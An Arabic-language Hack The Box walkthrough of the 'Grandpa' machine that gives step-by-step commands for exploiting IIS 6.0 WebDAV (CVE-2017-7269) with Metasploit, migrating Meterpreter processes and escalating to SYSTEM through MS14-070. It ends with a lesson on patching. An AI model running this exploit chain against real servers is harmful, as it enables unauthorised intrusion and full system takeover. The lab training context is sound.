اختراق صندوق الجد (Grandpa) في Hack The Box: دليل عملي لاستغلال CVE-2017-7269

دقائق القراءة: 8

تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة لمتخصصي اختبار الاختراق، حيث توفر مجموعة واسعة من التحديات المتجددة التي تحاكي سيناريوهات العالم الحقيقي أو تميل إلى أسلوب تحديات CTF (Capture The Flag). في هذا المقال، سنتناول تفاصيل اختراق آلة Grandpa، وهي إحدى الآلات المتقاعدة في المنصة، والتي على الرغم من بساطتها، إلا أنها تسلط الضوء على ثغرة أمنية واسعة الانتشار ومهمة للغاية: CVE-2017-7269.

لقد سمحت هذه الثغرة، فور الكشف عنها، بالوصول الفوري إلى آلاف خوادم IIS حول العالم بسهولة بالغة. سنستخدم في هذا الدليل العملي مجموعة من الأدوات الأساسية المتوفرة في توزيعة Kali Linux لاختراق هذه الآلة:

  • Nmap (ماسح الشبكة)
  • Searchsploit (أداة البحث عن الثغرات)
  • davtest (أداة اختبار WebDAV)
  • Metasploit Framework (إطار عمل اختبار الاختراق)
  • Local exploit suggester (مُقترح الثغرات المحلية)

قبل البدء، سنقوم بإضافة إدخال لآلة Grandpa في ملف /etc/hosts لتسهيل الوصول إليها بالاسم بدلاً من عنوان IP. يتم ذلك عبر الأمر التالي:

nano /etc/hosts

ثم نضيف السطر التالي:

10.10.10.14 grandpa.htb

إضافة عنوان IP لآلة Grandpa إلى ملف hosts في Kali Linux

الخطوة 1: الاستطلاع وجمع المعلومات

تُعد مرحلة الاستطلاع وجمع المعلومات الخطوة الأولى والأكثر أهمية قبل محاولة استغلال أي آلة. فكلما أمضيت وقتًا أطول في هذه المرحلة، زادت فرصتك في اكتشاف نقاط ضعف محتملة يمكن استغلالها بنجاح.

مسح المنافذ باستخدام Nmap

سنبدأ باستخدام أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمان. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية المستخدمة، والعديد من الخصائص الأخرى.

واجهة Nmap تعرض خيارات المسح

لإجراء مسح مكثف وشامل، سنستخدم الأمر التالي:

nmap -A -v grandpa.htb
  • -A: تفعيل اكتشاف نظام التشغيل، واكتشاف إصدارات الخدمات، ومسح السكربتات، وتتبع المسار (traceroute).
  • -v: زيادة مستوى التفاصيل في الإخراج (verbosity).
  • grandpa.htb: اسم المضيف لآلة Grandpa.

إذا كانت النتائج تبدو معقدة للغاية، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:

nmap grandpa.htb

نتائج مسح Nmap تظهر المنفذ 80 مفتوحًا

من خلال النتائج، نلاحظ وجود منفذ واحد مفتوح فقط: المنفذ 80، والذي يستخدم عادةً لبروتوكول نقل النص التشعبي (HTTP). كما يتضح من ترويسة http-server-header أن الخادم هو IIS 6.0.

Internet Information Services (IIS) هو برنامج خادم ويب قابل للتوسيع تم تطويره بواسطة Microsoft لعائلة أنظمة Windows NT. تم تضمين الإصدار IIS 6.0 (الاسم الرمزي “Duct Tape“) مع Windows Server 2003 و Windows XP Professional x64 Edition، وأضاف دعمًا لـ IPv6 ونموذج عملية عامل جديد زاد من الأمان والموثوقية.

نلاحظ أيضًا من عنوان http-title أن الموقع “قيد الإنشاء”، وأن هناك مسح http-webdav-scan يوضح جميع الطرق المسموح بها.

للحصول على مزيد من المعلومات، سنستخدم سكربت Nmap التالي. يرسل هذا السكربت طلب OPTIONS يسرد نوع dav، ونوع الخادم، والتاريخ، والطرق المسموح بها. ثم يرسل طلب PROPFIND ويحاول جلب الأدلة المكشوفة وعناوين IP الداخلية عن طريق مطابقة الأنماط في نص الاستجابة:

nmap --script http-webdav-scan -p80 grandpa.htb

نتائج سكربت Nmap http-webdav-scan تظهر دعم WebDAV

WebDAV (Web Distributed Authoring and Versioning) هو امتداد لبروتوكول HTTP يسمح للعملاء بإجراء عمليات تأليف محتوى الويب عن بُعد. نلاحظ أن خادم IIS من Microsoft يدعم وحدة WebDAV.

اختبار إمكانية رفع الملفات باستخدام davtest

سنستخدم أداة davtest للتحقق مما إذا كان بإمكاننا رفع الملفات إلى الخادم:

أداة davtest في سطر الأوامر

الأمر المستخدم هو:

davtest -url http://10.10.10.14

نتائج davtest تظهر فشل رفع الملفات

يبدو أن رفع الملفات غير ممكن في هذه الحالة.

البحث عن الثغرات باستخدام Searchsploit

سنستخدم Searchsploit، وهي أداة سطر أوامر للبحث في قاعدة بيانات Exploit Database، للتحقق من وجود أي ثغرات معروفة في IIS 6.0.

أداة Searchsploit في سطر الأوامر

الأمر المستخدم هو:

searchsploit iis 6.0

نتائج Searchsploit لثغرات IIS 6.0

يمكننا الحصول على تفاصيل أكثر حول الثغرة 41738.py باستخدام الأمر:

searchsploit -x 41738.py

تفاصيل ثغرة 41738.py من Searchsploit

يعتمد هذا الهجوم على سلسلة برمجة موجهة بالعودة (Return-oriented programming - ROP)، وهي تقنية استغلال أمني تسمح للمهاجم بتنفيذ التعليمات البرمجية في وجود دفاعات أمنية مثل حماية مساحة التنفيذ وتوقيع التعليمات البرمجية.

يمكنك أيضًا التحقق من قواعد البيانات التالية للحصول على مزيد من المعلومات حول هذه الثغرة:

لحسن الحظ، يتوفر وحدة Metasploit لهذه الثغرة:

وحدة Metasploit لثغرة IIS WebDAV

الخطوة 2: زيارة الموقع والاستغلال الأولي

عند زيارة الموقع المستهدف، لا نرى الكثير من المحتوى. ومع ذلك، من خلال وحدة تحكم المطور، يمكننا ملاحظة أنه يعمل بواسطة إطار عمل ASP.NET.

واجهة الموقع تظهر أنه يعمل بإطار ASP.NET

سنستخدم الآن Metasploit Framework، وهو إطار عمل لاختبار الاختراق يجعل عمليات الاختراق أبسط وأكثر فعالية، ويُعد أداة أساسية للعديد من المهاجمين والمدافعين على حد سواء.

شعار Metasploit Framework

سنقوم بتشغيل Metasploit Framework على Kali Linux والبحث عن الوحدة المناسبة لاستغلال الثغرة.

واجهة Metasploit Framework

إذا استخدمت الأمر searchsploit iis 6.0 داخل Metasploit، فستحصل على نفس الجدول الذي رأيناه سابقًا في الطرفية. ولكن إذا استخدمت search iis 6.0، فستحصل على 174 نتيجة.

نتائج البحث عن IIS 6.0 في Metasploit

الثغرة التي تهمنا هي رقم 147 في هذه القائمة. للحصول على معلومات حول هذه الثغرة، يمكنك استخدام الأمر التالي:

info exploit/windows/iis/iis_webdav_scstoragepathfromurl

تفاصيل ثغرة IIS WebDAV في Metasploit

لاستخدام هذه الثغرة، نكتب الأمر:

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

قبل إطلاق الثغرة، نحتاج إلى ضبط الخيارات. يمكننا التحقق من الخيارات المتاحة باستخدام:

show options

خيارات وحدة Metasploit لثغرة IIS WebDAV

نقوم بتعيين قيمة RHOSTS (المضيف الهدف) باستخدام الأمر التالي:

set RHOSTS 10.10.10.14

عند التحقق من الخيارات مرة أخرى، نرى أن RHOSTS قد تم تعيينه بنجاح:

خيارات وحدة Metasploit بعد تعيين RHOSTS

يمكننا التحقق مما إذا كان الهدف عرضة للثغرة باستخدام الأمر:

check

ثم نقوم بتشغيل الثغرة باستخدام الأمر:

exploit

نجاح استغلال الثغرة والحصول على جلسة Meterpreter

لقد نجحنا في الحصول على جلسة Meterpreter. وفقًا لموقع Offensive Security، Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكيًا تستخدم حقن DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس stager وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.

لنبدأ بجمع بعض المعلومات. عند محاولة تشغيل الأمر getuid (الذي يعيد معرف المستخدم الحقيقي للعملية المستدعية)، يبدو أن الجلسة التي حصلنا عليها لا تمتلك امتيازات كافية لتشغيل هذا الأمر، حيث يظهر خطأ “Access denied“.

فشل أمر getuid بسبب عدم كفاية الامتيازات

عندما يحدث هذا، نقوم بسرد العمليات الجارية باستخدام الأمر:

ps

ونختار عملية تعمل تحت حساب NT AUTHORITY\NETWORK SERVICE.

قائمة العمليات الجارية في Meterpreter

سنقوم بالانتقال إلى العملية رقم 3644 باستخدام الأمر:

migrate 3644

الترحيل إلى عملية أخرى في Meterpreter

الآن، عند التحقق من getuid، نحصل على:

Server username: NT AUTHORITY\NETWORK SERVICE

تأكيد اسم المستخدم بعد الترحيل

كانت هذه هي الجلسة التي حصلنا عليها في البداية قبل الترحيل إلى عملية أخرى:

الجلسة الأولية قبل الترحيل

وهذه هي الجلسة التي حصلنا عليها بعد الترحيل إلى عملية أخرى:

الجلسة بعد الترحيل إلى عملية أخرى

للحصول على صدفة أوامر (shell) قياسية على النظام المستهدف، نكتب الأمر التالي:

shell

الحصول على صدفة أوامر قياسية

نتحقق من المستخدم الحالي على الجهاز باستخدام الأمر:

whoami

نتائج أمر whoami

للحصول على مزيد من المعلومات حول الجهاز، نستخدم:

systeminfo

نتائج أمر systeminfo

نتنقل إلى الجذر C:\:

التنقل إلى C:\

ثم إلى دليل Documents and Settings باستخدام:

cd "Documents and Settings"

التنقل إلى Documents and Settings

يمكننا رؤية مستخدمين: Administrator و Harry. عند محاولة التنقل إلى مجلد Harry، يتم رفض الوصول. نفس الشيء ينطبق على مجلد Administrator، وهو أمر متوقع لأننا لا نملك صلاحيات الجذر بعد.

رفض الوصول إلى مجلدات المستخدمين

نخرج من الصدفة باستخدام الأمر:

exit

الخروج من الصدفة

الخطوة 3: استخدام مُقترح الثغرات المحلية (Local Exploit Suggester)

سنقوم بتشغيل وحدة local exploit suggester. تقترح هذه الوحدة الثغرات بناءً على بنية النظام الأساسي الذي لدينا صدفة عليه، بالإضافة إلى الثغرات المتاحة في Meterpreter.

run post/multi/recon/local_exploit_suggester

نتائج Local Exploit Suggester

سنستخدم الثغرة MS14-070. سنبحث عن مزيد من المعلومات حولها في Metasploit باستخدام:

info exploit/windows/local/ms14_070_tcpip_ioctl

تفاصيل ثغرة MS14-070 في Metasploit

وكذلك على موقع Rapid7:

صفحة ثغرة MS14-070 في Rapid7

الخطوة 4: استخدام MS14-070 لرفع الامتيازات

سنقوم بوضع الجلسة الحالية في الخلفية باستخدام الأمر:

background

وضع الجلسة في الخلفية

ثم نقوم بتشغيل الأمر التالي لاستخدام الثغرة التي وجدناها:

use exploit/windows/local/ms14_070_tcpip_ioctl

استخدام وحدة MS14-070

بعد ذلك، نتحقق من خيارات هذه الثغرة:

show options

خيارات وحدة MS14-070

نقوم بتعيين الجلسة (SESSION) إلى 1 (رقم الجلسة التي وضعناها في الخلفية) باستخدام:

set SESSION 1

تعيين رقم الجلسة لوحدة MS14-070

ثم نقوم بتشغيل الثغرة باستخدام:

run

تشغيل ثغرة MS14-070

لقد نجحت الثغرة، لكننا لم نحصل على صدفة أوامر (shell) جديدة مباشرةً. نتحقق من الخيارات مرة أخرى:

التحقق من خيارات MS14-070 بعد التشغيل

ونقوم بتعيين LHOST إلى عنوان IP الخاص بآلة المهاجم (Kali Linux) باستخدام:

set LHOST 10.10.14.36

يمكنك التحقق من عنوان IP الخاص بك هنا:

التحقق من عنوان IP الخاص بالمهاجم

ثم نقوم بتشغيل الثغرة مرة أخرى باستخدام:

exploit

تشغيل ثغرة MS14-070 مرة أخرى

يؤكد هذا أن الثغرة قد نجحت، لكننا ما زلنا لا نحصل على صدفة أوامر مباشرة. نتحقق من الجلسات باستخدام:

sessions -l

يجب أن نرى جلسة جديدة بصلاحيات NT AUTHORITY\SYSTEM، ولكن هذا ليس هو الحال الآن. لذا نعود إلى الجلسة الأصلية باستخدام:

sessions -i 1

العودة إلى الجلسة الأصلية

عند التحقق من getuid، نحصل على NT AUTHORITY\SYSTEM. ومع ذلك، عند الحصول على صدفة أوامر قياسية على النظام المستهدف والتحقق من المستخدم الحالي (whoami)، ما زلنا نحصل على NT AUTHORITY\NETWORK SERVICE، وهو ليس ما نريده! نخرج من هذه الصدفة ونتحقق من العمليات. نرى أن لدينا وصول إداري على الجهاز. نحتاج فقط إلى الترحيل إلى عملية أخرى، وهو ما نفعله باستخدام:

migrate 408

الترحيل إلى عملية جديدة بصلاحيات SYSTEM

بالعودة إلى صدفة الأوامر القياسية على النظام المستهدف، وعند التحقق من المستخدم الحالي (whoami)، نصبح أخيرًا بصلاحيات إدارية كاملة (NT AUTHORITY\SYSTEM)!

الخطوة 5: البحث عن علم المستخدم (user.txt)

الآن بعد أن أصبح لدينا امتيازات إدارية، يمكننا التنقل إلى مجلد Harry ضمن Documents and Settings. يمكننا سرد جميع الملفات والمجلدات باستخدام الأمر:

dir

ثم ننتقل إلى سطح المكتب (Desktop):

التنقل إلى سطح مكتب المستخدم Harry

وهنا نجد علم المستخدم! يمكننا التحقق من محتوى الملف باستخدام:

type user.txt

عرض محتوى ملف user.txt

الخطوة 6: البحث عن علم الجذر (root.txt)

لنبحث الآن عن علم الجذر! نعود إلى دليل Users ونتحقق من مجلد Administrator / Desktop. وها هو العلم!

العثور على علم الجذر في سطح مكتب Administrator

نستخدم الأمر التالي لعرض محتوى الملف:

type root.txt

عرض محتوى ملف root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح.

الخلاصة التقنية

يُظهر اختراق آلة Grandpa في Hack The Box كيف يمكن لثغرة واحدة قديمة، مثل CVE-2017-7269 في خوادم IIS 6.0، أن تفتح الباب أمام اختراق كامل للنظام. بدأت العملية بالاستطلاع الدقيق باستخدام Nmap لتحديد الخدمات ونقاط الضعف المحتملة، مما قادنا إلى اكتشاف دعم WebDAV على الخادم. على الرغم من فشل محاولات رفع الملفات المباشرة، إلا أن البحث في قواعد بيانات الثغرات كشف عن استغلال Metasploit جاهز لهذه الثغرة الحرجة. بعد الحصول على جلسة Meterpreter الأولية بامتيازات منخفضة، كان التحدي الأكبر هو رفع الامتيازات. هنا، أثبتت وحدة local exploit suggester فعاليتها في تحديد الثغرات المحلية، مثل MS14-070، التي مكنتنا من الحصول على صلاحيات SYSTEM. تُبرز هذه التجربة أهمية التحديثات الأمنية المستمرة، وإدارة التصحيحات، وضرورة الترحيل إلى أنظمة تشغيل وخوادم ويب حديثة لتقليل سطح الهجوم. كما تؤكد على أن فهم آليات الثغرات القديمة لا يزال ذا قيمة كبيرة في عالم الأمن السيبراني المتطور.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *